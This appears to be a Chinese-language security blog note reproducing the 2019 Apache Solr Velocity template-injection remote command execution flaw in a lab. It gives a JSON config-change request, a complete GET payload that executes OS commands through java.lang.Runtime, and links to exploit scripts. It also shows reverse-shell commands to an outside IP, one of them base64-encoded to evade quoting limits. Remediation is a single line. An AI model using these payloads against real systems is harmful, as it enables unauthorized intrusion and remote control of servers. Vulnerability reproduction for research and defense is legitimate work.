Apache Solr Velocity模版注入遠程命令執行漏洞複線
- 2019 年 11 月 5 日
- 筆記
0X01 漏洞概述
Apache Solr 是一個開源的搜索伺服器。Solr使用Java語言開發,主要基於HTTP和ApacheLucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。
10月31日,安全研究員S00pY在GitHub發布了ApacheSolr Velocity模版注入遠程命令執行的POC,經過其他安全團隊和人員的驗證和複線,此漏洞已經能夠被批量利用。
0X02 環境搭建
方法一:下載源碼
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/
解壓之後,不能直接啟動,需要配置java環境變數,可參考之前的文章或者自行度娘。創建實例:
sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

然後,啟動環境

瀏覽器訪問環境
http://172.16.1.137:8983/solr/#/

要獲取相應的實例的路徑,單擊左側的Core Admin即可知道相應的實例。

每個實例下都有相應的config配置資訊,可以直接訪問查看
http://172.16.1.137:8983/solr/alice/config

訪問config文件,Post提交以下數據:
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir":"", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }



這裡要注意,數據格式一定要按照json發送,如果不對的話,很容易返回500或者400的bad request錯誤,如下:


所以,這裡發包的時候,如果不正確,請多嘗試幾次。
方法二:通過docker搭建,可以直接search,方便省事的話,可以直接用vulhub上phith0n寫好的docker拉取,方法按照如下鏈接步驟操作
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
這裡不在贅述。完成之後還是像上面一樣bp發送數據修改配置。這樣環境搭建基本完成了。
0X03 漏洞利用
當solr默認插件VelocityResponseWrite中
params.resource.loader.enabled參數值為true(默認false),再通過精心構造的get請求即可RCE。如果存在solr未授權訪問,可post直接修改params.resource.loader.enabled參數值為true。所以,在上一步我們經過post提交數據已經修改了這兩項參數值,所以目前漏洞是可以觸發的。
s00py給出了poc數據,鏈接如下:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

訪問鏈接,執行利用操作
http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
執行結果

github上已經有很多研究人員放出漏洞利用腳本,如下等
https://github.com/theLSA/solr-rce https://github.com/Eth4nHunt/Apache-Solr-RCE
使用其中一個,即可獲取cmdshell:

在其他互聯網環境的伺服器上測試的時候,反彈shell很容易被分割中斷,報錯,命令如下:
bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1
但由於Runtime不能使用管道符等bash方法,所以需要進行編碼
bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}
按照phith0n的解釋:

具體詳情解釋參考
https://zsxq.tricking.io/topic/501/
編碼之後,我們再次測試,可以成功獲取shell

0X04 加固修復
官網暫未發布相關漏洞修補程式,及時關注官網更新。
http://lucene.apache.org/solr/downloads.html
0X05 參考鏈接
https://nosec.org/home/detail/3113.html
https://www.anquanke.com/post/id/190039
https://zsxq.tricking.io/topic/501/
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://github.com/shadow-horse/Apache-Solr-Velocity-RCE